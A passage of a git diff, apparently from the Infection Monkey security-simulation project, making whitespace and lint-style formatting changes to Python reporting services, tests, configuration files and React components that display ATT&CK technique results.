username=issue['username']),
|
||||||
instance_arn=instance_arn,
|
instance_arn=instance_arn,
|
||||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
)
|
)
|
||||||
|
@ -361,7 +361,7 @@ class AWSExporter(Exporter):
|
||||||
description="This critical machine is open to attacks via strong users with access to it.",
|
description="This critical machine is open to attacks via strong users with access to it.",
|
||||||
recommendation="The services: {services} have been found on the machine thus classifying it as a critical "
|
recommendation="The services: {services} have been found on the machine thus classifying it as a critical "
|
||||||
"machine. These users has access to it:{threatening_users}.".format(
|
"machine. These users has access to it:{threatening_users}.".format(
|
||||||
services=issue['services'], threatening_users=issue['threatening_users']),
|
services=issue['services'], threatening_users=issue['threatening_users']),
|
||||||
instance_arn=instance_arn,
|
instance_arn=instance_arn,
|
||||||
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
|
||||||
)
|
)
|
||||||
|
|
|
@ -4,6 +4,7 @@ from monkey_island.cc.services.reporting.report_exporter_manager import ReportEx
|
||||||
from monkey_island.cc.services.reporting.aws_exporter import AWSExporter
|
from monkey_island.cc.services.reporting.aws_exporter import AWSExporter
|
||||||
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
|
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
|
||||||
from monkey_island.cc.environment.environment import env
|
from monkey_island.cc.environment.environment import env
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -64,6 +64,3 @@ class TestPTHReportServiceGenerateMapNodes(IslandTestCase):
|
||||||
self.assertEqual(map_nodes[0]["group"], "critical")
|
self.assertEqual(map_nodes[0]["group"], "critical")
|
||||||
self.assertEqual(len(map_nodes[0]["services"]), 2)
|
self.assertEqual(len(map_nodes[0]["services"]), 2)
|
||||||
self.assertEqual(map_nodes[0]["hostname"], hostname)
|
self.assertEqual(map_nodes[0]["hostname"], hostname)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -306,7 +306,7 @@ class TestZeroTrustService(IslandTestCase):
|
||||||
|
|
||||||
|
|
||||||
def compare_lists_no_order(s, t):
|
def compare_lists_no_order(s, t):
|
||||||
t = list(t) # make a mutable copy
|
t = list(t) # make a mutable copy
|
||||||
try:
|
try:
|
||||||
for elem in s:
|
for elem in s:
|
||||||
t.remove(elem)
|
t.remove(elem)
|
||||||
|
|
|
@ -24,4 +24,3 @@ def process_post_breach_telemetry(telemetry_json):
|
||||||
post_breach_action_name = telemetry_json["data"]["name"]
|
post_breach_action_name = telemetry_json["data"]["name"]
|
||||||
if post_breach_action_name in POST_BREACH_TELEMETRY_PROCESSING_FUNCS:
|
if post_breach_action_name in POST_BREACH_TELEMETRY_PROCESSING_FUNCS:
|
||||||
POST_BREACH_TELEMETRY_PROCESSING_FUNCS[post_breach_action_name](telemetry_json)
|
POST_BREACH_TELEMETRY_PROCESSING_FUNCS[post_breach_action_name](telemetry_json)
|
||||||
|
|
||||||
|
|
|
@ -9,7 +9,7 @@ from monkey_island.cc.models.zero_trust.segmentation_finding import Segmentation
|
||||||
from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups
|
from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups
|
||||||
|
|
||||||
SEGMENTATION_DONE_EVENT_TEXT = "Monkey on {hostname} is done attempting cross-segment communications " \
|
SEGMENTATION_DONE_EVENT_TEXT = "Monkey on {hostname} is done attempting cross-segment communications " \
|
||||||
"from `{src_seg}` segments to `{dst_seg}` segments."
|
"from `{src_seg}` segments to `{dst_seg}` segments."
|
||||||
|
|
||||||
SEGMENTATION_VIOLATION_EVENT_TEXT = \
|
SEGMENTATION_VIOLATION_EVENT_TEXT = \
|
||||||
"Segmentation violation! Monkey on '{hostname}', with the {source_ip} IP address (in segment {source_seg}) " \
|
"Segmentation violation! Monkey on '{hostname}', with the {source_ip} IP address (in segment {source_seg}) " \
|
||||||
|
@ -101,8 +101,8 @@ def get_segmentation_done_event(current_monkey, subnet_pair):
|
||||||
return Event.create_event(
|
return Event.create_event(
|
||||||
title="Segmentation test done",
|
title="Segmentation test done",
|
||||||
message=SEGMENTATION_DONE_EVENT_TEXT.format(
|
message=SEGMENTATION_DONE_EVENT_TEXT.format(
|
||||||
hostname=current_monkey.hostname,
|
hostname=current_monkey.hostname,
|
||||||
src_seg=subnet_pair[0],
|
src_seg=subnet_pair[0],
|
||||||
dst_seg=subnet_pair[1]),
|
dst_seg=subnet_pair[1]),
|
||||||
event_type=EVENT_TYPE_MONKEY_NETWORK
|
event_type=EVENT_TYPE_MONKEY_NETWORK
|
||||||
)
|
)
|
||||||
|
|
|
@ -54,4 +54,3 @@ class VersionUpdateService:
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_download_link():
|
def get_download_link():
|
||||||
return VersionUpdateService.VERSION_SERVER_DOWNLOAD_URL % (env.get_deployment(), env.get_version())
|
return VersionUpdateService.VERSION_SERVER_DOWNLOAD_URL % (env.get_deployment(), env.get_version())
|
||||||
|
|
||||||
|
|
|
@ -5,7 +5,6 @@ __author__ = 'maor.rayzin'
|
||||||
|
|
||||||
|
|
||||||
class WMIHandler(object):
|
class WMIHandler(object):
|
||||||
|
|
||||||
ADMINISTRATORS_GROUP_KNOWN_SID = '1-5-32-544'
|
ADMINISTRATORS_GROUP_KNOWN_SID = '1-5-32-544'
|
||||||
|
|
||||||
def __init__(self, monkey_id, wmi_info, user_secrets):
|
def __init__(self, monkey_id, wmi_info, user_secrets):
|
||||||
|
@ -160,4 +159,3 @@ class WMIHandler(object):
|
||||||
{'type': USERTYPE, 'entities_list': 1})
|
{'type': USERTYPE, 'entities_list': 1})
|
||||||
if entity_details.get('type') == GROUPTYPE:
|
if entity_details.get('type') == GROUPTYPE:
|
||||||
self.add_admin(entity_details, machine_id)
|
self.add_admin(entity_details, machine_id)
|
||||||
|
|
||||||
|
|
|
@ -1,4 +1,10 @@
|
||||||
{
|
{
|
||||||
"presets": ["es2015", "stage-0", "react"],
|
"presets": [
|
||||||
"plugins": ["emotion"]
|
"es2015",
|
||||||
|
"stage-0",
|
||||||
|
"react"
|
||||||
|
],
|
||||||
|
"plugins": [
|
||||||
|
"emotion"
|
||||||
|
]
|
||||||
}
|
}
|
||||||
|
|
|
@ -19,14 +19,22 @@
|
||||||
},
|
},
|
||||||
"rules": {
|
"rules": {
|
||||||
"comma-dangle": 1,
|
"comma-dangle": 1,
|
||||||
"quotes": [ 1, "single" ],
|
"quotes": [
|
||||||
|
1,
|
||||||
|
"single"
|
||||||
|
],
|
||||||
"no-undef": 1,
|
"no-undef": 1,
|
||||||
"global-strict": 0,
|
"global-strict": 0,
|
||||||
"no-extra-semi": 1,
|
"no-extra-semi": 1,
|
||||||
"no-underscore-dangle": 0,
|
"no-underscore-dangle": 0,
|
||||||
"no-console": 1,
|
"no-console": 1,
|
||||||
"no-unused-vars": 1,
|
"no-unused-vars": 1,
|
||||||
"no-trailing-spaces": [1, { "skipBlankLines": true }],
|
"no-trailing-spaces": [
|
||||||
|
1,
|
||||||
|
{
|
||||||
|
"skipBlankLines": true
|
||||||
|
}
|
||||||
|
],
|
||||||
"no-unreachable": 1,
|
"no-unreachable": 1,
|
||||||
"no-alert": 0,
|
"no-alert": 0,
|
||||||
"react/jsx-uses-react": 1,
|
"react/jsx-uses-react": 1,
|
||||||
|
|
|
@ -3,23 +3,23 @@ var webpackCfg = require('./webpack.config');
|
||||||
// Set node environment to testing
|
// Set node environment to testing
|
||||||
process.env.NODE_ENV = 'test';
|
process.env.NODE_ENV = 'test';
|
||||||
|
|
||||||
module.exports = function(config) {
|
module.exports = function (config) {
|
||||||
config.set({
|
config.set({
|
||||||
basePath: '',
|
basePath: '',
|
||||||
browsers: [ 'PhantomJS' ],
|
browsers: ['PhantomJS'],
|
||||||
files: [
|
files: [
|
||||||
'test/loadtests.js'
|
'test/loadtests.js'
|
||||||
],
|
],
|
||||||
port: 8000,
|
port: 8000,
|
||||||
captureTimeout: 60000,
|
captureTimeout: 60000,
|
||||||
frameworks: [ 'mocha', 'chai' ],
|
frameworks: ['mocha', 'chai'],
|
||||||
client: {
|
client: {
|
||||||
mocha: {}
|
mocha: {}
|
||||||
},
|
},
|
||||||
singleRun: true,
|
singleRun: true,
|
||||||
reporters: [ 'mocha', 'coverage' ],
|
reporters: ['mocha', 'coverage'],
|
||||||
preprocessors: {
|
preprocessors: {
|
||||||
'test/loadtests.js': [ 'webpack', 'sourcemap' ]
|
'test/loadtests.js': ['webpack', 'sourcemap']
|
||||||
},
|
},
|
||||||
webpack: webpackCfg,
|
webpack: webpackCfg,
|
||||||
webpackServer: {
|
webpackServer: {
|
||||||
|
@ -28,8 +28,8 @@ module.exports = function(config) {
|
||||||
coverageReporter: {
|
coverageReporter: {
|
||||||
dir: 'coverage/',
|
dir: 'coverage/',
|
||||||
reporters: [
|
reporters: [
|
||||||
{ type: 'html' },
|
{type: 'html'},
|
||||||
{ type: 'text' }
|
{type: 'text'}
|
||||||
]
|
]
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
|
|
@ -14,19 +14,19 @@ let isInitialCompilation = true;
|
||||||
const compiler = webpack(config);
|
const compiler = webpack(config);
|
||||||
|
|
||||||
new WebpackDevServer(compiler, config.devServer)
|
new WebpackDevServer(compiler, config.devServer)
|
||||||
.listen(config.port, 'localhost', (err) => {
|
.listen(config.port, 'localhost', (err) => {
|
||||||
if (err) {
|
if (err) {
|
||||||
console.log(err);
|
console.log(err);
|
||||||
}
|
}
|
||||||
console.log('Listening at localhost:' + config.port);
|
console.log('Listening at localhost:' + config.port);
|
||||||
});
|
});
|
||||||
|
|
||||||
compiler.plugin('done', () => {
|
compiler.plugin('done', () => {
|
||||||
if (isInitialCompilation) {
|
if (isInitialCompilation) {
|
||||||
// Ensures that we log after webpack printed its stats (is there a better way?)
|
// Ensures that we log after webpack printed its stats (is there a better way?)
|
||||||
setTimeout(() => {
|
setTimeout(() => {
|
||||||
console.log('\n✓ The bundle is now ready for serving!\n');
|
console.log('\n✓ The bundle is now ready for serving!\n');
|
||||||
console.log(' Open in iframe mode:\t\x1b[33m%s\x1b[0m', 'http://localhost:' + config.port + '/webpack-dev-server/');
|
console.log(' Open in iframe mode:\t\x1b[33m%s\x1b[0m', 'http://localhost:' + config.port + '/webpack-dev-server/');
|
||||||
console.log(' Open in inline mode:\t\x1b[33m%s\x1b[0m', 'http://localhost:' + config.port + '/\n');
|
console.log(' Open in inline mode:\t\x1b[33m%s\x1b[0m', 'http://localhost:' + config.port + '/\n');
|
||||||
console.log(' \x1b[33mHMR is active\x1b[0m. The bundle will automatically rebuild and live-update on changes.')
|
console.log(' \x1b[33mHMR is active\x1b[0m. The bundle will automatically rebuild and live-update on changes.')
|
||||||
}, 350);
|
}, 350);
|
||||||
|
|
|
@ -14,10 +14,10 @@ class MatrixComponent extends AuthComponent {
|
||||||
};
|
};
|
||||||
|
|
||||||
// Finds which attack type has most techniques and returns that number
|
// Finds which attack type has most techniques and returns that number
|
||||||
static findMaxTechniques(data){
|
static findMaxTechniques(data) {
|
||||||
let maxLen = 0;
|
let maxLen = 0;
|
||||||
data.forEach(function(techType) {
|
data.forEach(function (techType) {
|
||||||
if (Object.keys(techType.properties).length > maxLen){
|
if (Object.keys(techType.properties).length > maxLen) {
|
||||||
maxLen = Object.keys(techType.properties).length
|
maxLen = Object.keys(techType.properties).length
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
@ -25,18 +25,18 @@ class MatrixComponent extends AuthComponent {
|
||||||
};
|
};
|
||||||
|
|
||||||
// Parses ATT&CK config schema into data suitable for react-table (ATT&CK matrix)
|
// Parses ATT&CK config schema into data suitable for react-table (ATT&CK matrix)
|
||||||
static parseTechniques (data, maxLen) {
|
static parseTechniques(data, maxLen) {
|
||||||
let techniques = [];
|
let techniques = [];
|
||||||
// Create rows with attack techniques
|
// Create rows with attack techniques
|
||||||
for (let i = 0; i < maxLen; i++) {
|
for (let i = 0; i < maxLen; i++) {
|
||||||
let row = {};
|
let row = {};
|
||||||
data.forEach(function(techType){
|
data.forEach(function (techType) {
|
||||||
let rowColumn = {};
|
let rowColumn = {};
|
||||||
rowColumn.techName = techType.title;
|
rowColumn.techName = techType.title;
|
||||||
|
|
||||||
if (i <= Object.keys(techType.properties).length) {
|
if (i <= Object.keys(techType.properties).length) {
|
||||||
rowColumn.technique = Object.values(techType.properties)[i];
|
rowColumn.technique = Object.values(techType.properties)[i];
|
||||||
if (rowColumn.technique){
|
if (rowColumn.technique) {
|
||||||
rowColumn.technique.name = Object.keys(techType.properties)[i]
|
rowColumn.technique.name = Object.keys(techType.properties)[i]
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
|
@ -50,28 +50,28 @@ class MatrixComponent extends AuthComponent {
|
||||||
};
|
};
|
||||||
|
|
||||||
getColumns(matrixData) {
|
getColumns(matrixData) {
|
||||||
return Object.keys(matrixData[0]).map((key)=>{
|
return Object.keys(matrixData[0]).map((key) => {
|
||||||
return {
|
return {
|
||||||
Header: key,
|
Header: key,
|
||||||
id: key,
|
id: key,
|
||||||
accessor: x => this.renderTechnique(x[key].technique),
|
accessor: x => this.renderTechnique(x[key].technique),
|
||||||
style: { 'whiteSpace': 'unset' }
|
style: {'whiteSpace': 'unset'}
|
||||||
};
|
};
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
renderTechnique(technique) {
|
renderTechnique(technique) {
|
||||||
if (technique == null){
|
if (technique == null) {
|
||||||
return (<div />)
|
return (<div/>)
|
||||||
} else {
|
} else {
|
||||||
return (<Tooltip content={technique.description} direction="down">
|
return (<Tooltip content={technique.description} direction="down">
|
||||||
<Checkbox checked={technique.value}
|
<Checkbox checked={technique.value}
|
||||||
necessary={technique.necessary}
|
necessary={technique.necessary}
|
||||||
name={technique.name}
|
name={technique.name}
|
||||||
changeHandler={this.props.change}>
|
changeHandler={this.props.change}>
|
||||||
{technique.title}
|
{technique.title}
|
||||||
</Checkbox>
|
</Checkbox>
|
||||||
</Tooltip>)
|
</Tooltip>)
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
@ -85,20 +85,20 @@ class MatrixComponent extends AuthComponent {
|
||||||
|
|
||||||
renderLegend = () => {
|
renderLegend = () => {
|
||||||
return (
|
return (
|
||||||
<div id="header" className="row justify-content-between attack-legend">
|
<div id="header" className="row justify-content-between attack-legend">
|
||||||
<Col xs={4}>
|
<Col xs={4}>
|
||||||
<i className="fa fa-circle-thin icon-unchecked"></i>
|
<i className="fa fa-circle-thin icon-unchecked"></i>
|
||||||
<span> - Dissabled</span>
|
<span> - Dissabled</span>
|
||||||
</Col>
|
</Col>
|
||||||
<Col xs={4}>
|
<Col xs={4}>
|
||||||
<i className="fa fa-circle icon-checked"></i>
|
<i className="fa fa-circle icon-checked"></i>
|
||||||
<span> - Enabled</span>
|
<span> - Enabled</span>
|
||||||
</Col>
|
</Col>
|
||||||
<Col xs={4}>
|
<Col xs={4}>
|
||||||
<i className="fa fa-circle icon-mandatory"></i>
|
<i className="fa fa-circle icon-mandatory"></i>
|
||||||
<span> - Mandatory</span>
|
<span> - Mandatory</span>
|
||||||
</Col>
|
</Col>
|
||||||
</div>)
|
</div>)
|
||||||
};
|
};
|
||||||
|
|
||||||
render() {
|
render() {
|
||||||
|
@ -110,7 +110,7 @@ class MatrixComponent extends AuthComponent {
|
||||||
<ReactTable columns={tableData['columns']}
|
<ReactTable columns={tableData['columns']}
|
||||||
data={tableData['matrixTableData']}
|
data={tableData['matrixTableData']}
|
||||||
showPagination={false}
|
showPagination={false}
|
||||||
defaultPageSize={tableData['maxTechniques']} />
|
defaultPageSize={tableData['maxTechniques']}/>
|
||||||
</div>
|
</div>
|
||||||
</div>);
|
</div>);
|
||||||
}
|
}
|
||||||
|
|
|
@ -1,57 +1,62 @@
|
||||||
import React from "react";
|
import React from "react";
|
||||||
|
|
||||||
export function renderMachine(val){
|
export function renderMachine(val) {
|
||||||
return (
|
return (
|
||||||
<span>{val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}</span>
|
<span>{val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}</span>
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Function takes data gathered from system info collector and creates a
|
/* Function takes data gathered from system info collector and creates a
|
||||||
string representation of machine from that data. */
|
string representation of machine from that data. */
|
||||||
export function renderMachineFromSystemData(data) {
|
export function renderMachineFromSystemData(data) {
|
||||||
let machineStr = data['hostname'] + " ( ";
|
let machineStr = data['hostname'] + " ( ";
|
||||||
data['ips'].forEach(function(ipInfo){
|
data['ips'].forEach(function (ipInfo) {
|
||||||
if(typeof ipInfo === "object"){
|
if (typeof ipInfo === "object") {
|
||||||
machineStr += ipInfo['addr'] + ", ";
|
machineStr += ipInfo['addr'] + ", ";
|
||||||
} else {
|
} else {
|
||||||
machineStr += ipInfo + ", ";
|
machineStr += ipInfo + ", ";
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
// Replaces " ," with " )" to finish a list of IP's
|
// Replaces " ," with " )" to finish a list of IP's
|
||||||
return machineStr.slice(0, -2) + " )"
|
return machineStr.slice(0, -2) + " )"
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Formats telemetry data that contains _id.machine and _id.usage fields into columns
|
/* Formats telemetry data that contains _id.machine and _id.usage fields into columns
|
||||||
for react table. */
|
for react table. */
|
||||||
export function getUsageColumns() {
|
export function getUsageColumns() {
|
||||||
return ([{
|
return ([{
|
||||||
columns: [
|
columns: [
|
||||||
{Header: 'Machine',
|
{
|
||||||
id: 'machine',
|
Header: 'Machine',
|
||||||
accessor: x => renderMachineFromSystemData(x.machine),
|
id: 'machine',
|
||||||
style: { 'whiteSpace': 'unset' },
|
accessor: x => renderMachineFromSystemData(x.machine),
|
||||||
width: 300},
|
style: {'whiteSpace': 'unset'},
|
||||||
{Header: 'Usage',
|
width: 300
|
||||||
id: 'usage',
|
},
|
||||||
accessor: x => x.usage,
|
{
|
||||||
style: { 'whiteSpace': 'unset' }}]
|
Header: 'Usage',
|
||||||
}])}
|
id: 'usage',
|
||||||
|
accessor: x => x.usage,
|
||||||
|
style: {'whiteSpace': 'unset'}
|
||||||
|
}]
|
||||||
|
}])
|
||||||
|
}
|
||||||
|
|
||||||
/* Renders table fields that contains 'used' boolean value and 'name' string value.
|
/* Renders table fields that contains 'used' boolean value and 'name' string value.
|
||||||
'Used' value determines if 'name' value will be shown.
|
'Used' value determines if 'name' value will be shown.
|
||||||
*/
|
*/
|
||||||
export function renderUsageFields(usages){
|
export function renderUsageFields(usages) {
|
||||||
let output = [];
|
let output = [];
|
||||||
usages.forEach(function(usage){
|
usages.forEach(function (usage) {
|
||||||
if(usage['used']){
|
if (usage['used']) {
|
||||||
output.push(<div key={usage['name']}>{usage['name']}</div>)
|
output.push(<div key={usage['name']}>{usage['name']}</div>)
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
return (<div>{output}</div>);
|
return (<div>{output}</div>);
|
||||||
}
|
}
|
||||||
|
|
||||||
export const ScanStatus = {
|
export const ScanStatus = {
|
||||||
UNSCANNED: 0,
|
UNSCANNED: 0,
|
||||||
SCANNED: 1,
|
SCANNED: 1,
|
||||||
USED: 2
|
USED: 2
|
||||||
};
|
};
|
||||||
|
|
|
@ -17,7 +17,8 @@ class T1003 extends React.Component {
|
||||||
<div>{this.props.data.message}</div>
|
<div>{this.props.data.message}</div>
|
||||||
<br/>
|
<br/>
|
||||||
{this.props.data.status === ScanStatus.USED ?
|
{this.props.data.status === ScanStatus.USED ?
|
||||||
<StolenPasswordsComponent data={this.props.reportData.glance.stolen_creds.concat(this.props.reportData.glance.ssh_keys)}/>
|
<StolenPasswordsComponent
|
||||||
|
data={this.props.reportData.glance.stolen_creds.concat(this.props.reportData.glance.ssh_keys)}/>
|
||||||
: ""}
|
: ""}
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
|
|
|
@ -13,10 +13,17 @@ class T1005 extends React.Component {
|
||||||
return ([{
|
return ([{
|
||||||
Header: "Sensitive data",
|
Header: "Sensitive data",
|
||||||
columns: [
|
columns: [
|
||||||
{Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }},
|
{
|
||||||
{Header: 'Type', id: 'type', accessor: x => x.gathered_data_type, style: { 'whiteSpace': 'unset' }},
|
Header: 'Machine',
|
||||||
{Header: 'Info', id: 'info', accessor: x => x.info, style: { 'whiteSpace': 'unset' }},
|
id: 'machine',
|
||||||
]}])};
|
accessor: x => renderMachineFromSystemData(x.machine),
|
||||||
|
style: {'whiteSpace': 'unset'}
|
||||||
|
},
|
||||||
|
{Header: 'Type', id: 'type', accessor: x => x.gathered_data_type, style: {'whiteSpace': 'unset'}},
|
||||||
|
{Header: 'Info', id: 'info', accessor: x => x.info, style: {'whiteSpace': 'unset'}},
|
||||||
|
]
|
||||||
|
}])
|
||||||
|
};
|
||||||
|
|
||||||
render() {
|
render() {
|
||||||
return (
|
return (
|
||||||
|
@ -25,10 +32,10 @@ class T1005 extends React.Component {
|
||||||
<br/>
|
<br/>
|
||||||
{this.props.data.status === ScanStatus.USED ?
|
{this.props.data.status === ScanStatus.USED ?
|
||||||
<ReactTable
|
<ReactTable
|
||||||
columns={T1005.getDataColumns()}
|
columns={T1005.getDataColumns()}
|
||||||
data={this.props.data.collected_data}
|
data={this.props.data.collected_data}
|
||||||
showPagination={false}
|
showPagination={false}
|
||||||
defaultPageSize={this.props.data.collected_data.length}
|
defaultPageSize={this.props.data.collected_data.length}
|
||||||
/> : ""}
|
/> : ""}
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
import React from 'react';
|
import React from 'react';
|
||||||
import '../../../styles/Collapse.scss'
|
import '../../../styles/Collapse.scss'
|
||||||
import ReactTable from "react-table";
|
import ReactTable from "react-table";
|
||||||
import { renderMachineFromSystemData, renderUsageFields, ScanStatus } from "./Helpers"
|
import {renderMachineFromSystemData, renderUsageFields, ScanStatus} from "./Helpers"
|
||||||
|
|
||||||
|
|
||||||
class T1016 extends React.Component {
|
class T1016 extends React.Component {
|
||||||
|
@ -14,10 +14,16 @@ class T1016 extends React.Component {
|
||||||
return ([{
|
return ([{
|
||||||
Header: "Network configuration info gathered",
|
Header: "Network configuration info gathered",
|
||||||
columns: [
|
columns: [
|
||||||
{Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), style: { 'whiteSpace': 'unset' }},
|
{
|
||||||
{Header: 'Network info', id: 'info', accessor: x => renderUsageFields(x.info), style: { 'whiteSpace': 'unset' }},
|
Header: 'Machine',
|
||||||
]
|
id: 'machine',
|
||||||
}])};
|
accessor: x => renderMachineFromSystemData(x.machine),
|
||||||
|
style: {'whiteSpace': 'unset'}
|
||||||
|
},
|
||||||
|
{Header: 'Network info', id: 'info', accessor: x => renderUsageFields(x.info), style: {'whiteSpace': 'unset'}},
|
||||||
|
]
|
||||||
|
}])
|
||||||
|
};
|
||||||
|
|
||||||
render() {
|
render() {
|
||||||
return (
|
return (
|
||||||
|
@ -26,10 +32,10 @@ class T1016 extends React.Component {
|
||||||
<br/>
|
<br/>
|
||||||
{this.props.data.status === ScanStatus.USED ?
|
{this.props.data.status === ScanStatus.USED ?
|
||||||
<ReactTable
|
<ReactTable
|
||||||
columns={T1016.getNetworkInfoColumns()}
|
columns={T1016.getNetworkInfoColumns()}
|
||||||
data={this.props.data.network_info}
|
data={this.props.data.network_info}
|
||||||
showPagination={false}
|
showPagination={false}
|
||||||
defaultPageSize={this.props.data.network_info.length}
|
defaultPageSize={this.props.data.network_info.length}
|
||||||
/> : ""}
|
/> : ""}
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
import React from 'react';
|
import React from 'react';
|
||||||
import '../../../styles/Collapse.scss'
|
import '../../../styles/Collapse.scss'
|
||||||
import ReactTable from "react-table";
|
import ReactTable from "react-table";
|
||||||
import { renderMachineFromSystemData, renderMachine, ScanStatus } from "./Helpers"
|
import {renderMachineFromSystemData, renderMachine, ScanStatus} from "./Helpers"
|
||||||
|
|
||||||
|
|
||||||
class T1018 extends React.Component {
|
class T1018 extends React.Component {
|
||||||
|
@ -10,9 +10,9 @@ class T1018 extends React.Component {
|
||||||
super(props);
|
super(props);
|
||||||
}
|
}
|
||||||
|
|
||||||
static renderMachines(machines){
|
static renderMachines(machines) {
|
||||||
let output = [];
|
let output = [];
|
||||||
machines.forEach(function(machine){
|
machines.forEach(function (machine) {
|
||||||
output.push(renderMachine(machine))
|
output.push(renderMachine(machine))
|
||||||
});
|
});
|
||||||
return (<div>{output}</div>);
|
return (<div>{output}</div>);
|
||||||
|
@ -21,12 +21,23 @@ class T1018 extends React.Component {
|
||||||
static getScanInfoColumns() {
|
static getScanInfoColumns() {
|
||||||
return ([{
|
return ([{
|
||||||
columns: [
|
columns: [
|
||||||
{Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.monkey), style: { 'whiteSpace': 'unset' }},
|
{
|
||||||
{Header: 'First scan', id: 'started', accessor: x => x.started, style: { 'whiteSpace': 'unset' }},
|
Header: 'Machine',
|
||||||
{Header: 'Last scan', id: 'finished', accessor: x => x.finished, style: { 'whiteSpace': 'unset' }},
|
id: 'machine',
|
||||||
{Header: 'Systems found', id: 'systems', accessor: x => T1018.renderMachines(x.machines), style: { 'whiteSpace': 'unset' }},
|
accessor: x => renderMachineFromSystemData(x.monkey),
|
||||||
]
|
style: {'whiteSpace': 'unset'}
|
||||||
}])};
|
},
|
||||||
|
{Header: 'First scan', id: 'started', accessor: x => x.started, style: {'whiteSpace': 'unset'}},
|
||||||
|
{Header: 'Last scan', id: 'finished', accessor: x => x.finished, style: {'whiteSpace': 'unset'}},
|
||||||
|
{
|
||||||
|
Header: 'Systems found',
|
||||||
|
id: 'systems',
|
||||||
|
accessor: x => T1018.renderMachines(x.machines),
|
||||||
|
style: {'whiteSpace': 'unset'}
|
||||||
|
},
|
||||||
|
]
|
||||||
|
}])
|
||||||
|
};
|
||||||
|
|
||||||
render() {
|
render() {
|
||||||
return (
|
return (
|
||||||
|
@ -35,10 +46,10 @@ class T1018 extends React.Component {
|
||||||
<br/>
|
<br/>
|
||||||
{this.props.data.status === ScanStatus.USED ?
|
{this.props.data.status === ScanStatus.USED ?
|
||||||
<ReactTable
|
<ReactTable
|
||||||
columns={T1018.getScanInfoColumns()}
|
columns={T1018.getScanInfoColumns()}
|
||||||
data={this.props.data.scan_info}
|
data={this.props.data.scan_info}
|
||||||
showPagination={false}
|
showPagination={false}
|
||||||
defaultPageSize={this.props.data.scan_info.length}
|
defaultPageSize={this.props.data.scan_info.length}
|
||||||
/> : ""}
|
/> : ""}
|
||||||
</div>
|
</div>
|
||||||
);
|
);
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
import React from 'react';
|
import React from 'react';
|
||||||
import '../../../styles/Collapse.scss'
|
import '../../../styles/Collapse.scss'
|
||||||
import ReactTable from "react-table";
|
import ReactTable from "react-table";
|
||||||
import { renderMachine, ScanStatus } from "./Helpers"
|
import {renderMachine, ScanStatus} from "./Helpers"
|
||||||
|
|
||||||
|
|
||||||
class T1021 extends React.Component {
|
class T1021 extends React.Component {
|
||||||
|
@ -13,12 +13,20 @@ class T1021 extends React.Component {
|
||||||
static getServiceColumns() {
|
static getServiceColumns() {
|
||||||
return ([{
|
return ([{
|
||||||
columns: [
|
columns: [
|
||||||
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
|
{
|
||||||
style: { 'whiteSpace': 'unset' }, width: 160},
|
Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine),
|
||||||
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100},
|
style: {'whiteSpace': 'unset'}, width: 160
|
||||||
{Header: 'Valid account used', id: 'credentials', accessor: x => this.renderCreds(x.successful_creds), style: { 'whiteSpace': 'unset' }},
|
},
|
||||||
]
|
{Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: {'whiteSpace': 'unset'}, width: 100},
|
||||||
}])};
|
{
|
||||||
|
Header: 'Valid account used',
|
||||||
|
id: 'credentials',
|
||||||
|
accessor: x => this.renderCreds(x.successful_creds),
|
||||||
|
style: {'whiteSpace': 'unset'}
|
||||||
|
},
|
||||||
|
]
|
||||||
|
}])
|
||||||
|
};
|
||||||
|
|
||||||
static renderCreds(creds) {
|
static renderCreds(creds) {
|
||||||
return <span>{creds.map(cred => <div key={cred}>{cred}</div>)}</span>
|
return <span>{creds.map(cred => <div key={cred}>{cred}</div>)}</span>
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
import React from 'react';
|
import React from 'react';
|
||||||
import '../../../styles/Collapse.scss'
|
import '../../../styles/Collapse.scss'
|
||||||
import ReactTable from "react-table";
|
import ReactTable from "react-table";
|
||||||
import { getUsageColumns } from "./Helpers"
|
import {getUsageColumns} from "./Helpers"
|
||||||
|
|
||||||
|
|
||||||
class T1035 extends React.Component {
|
class T1035 extends React.Component {
|
||||||
|
@ -17,10 +17,10 @@ class T1035 extends React.Component {
|
||||||
<br/>
|
<br/>
|
||||||
{this.props.data.services.length !== 0 ?
|
{this.props.data.services.length !== 0 ?
|
||||||
<ReactTable
|
<ReactTable
|
||||||
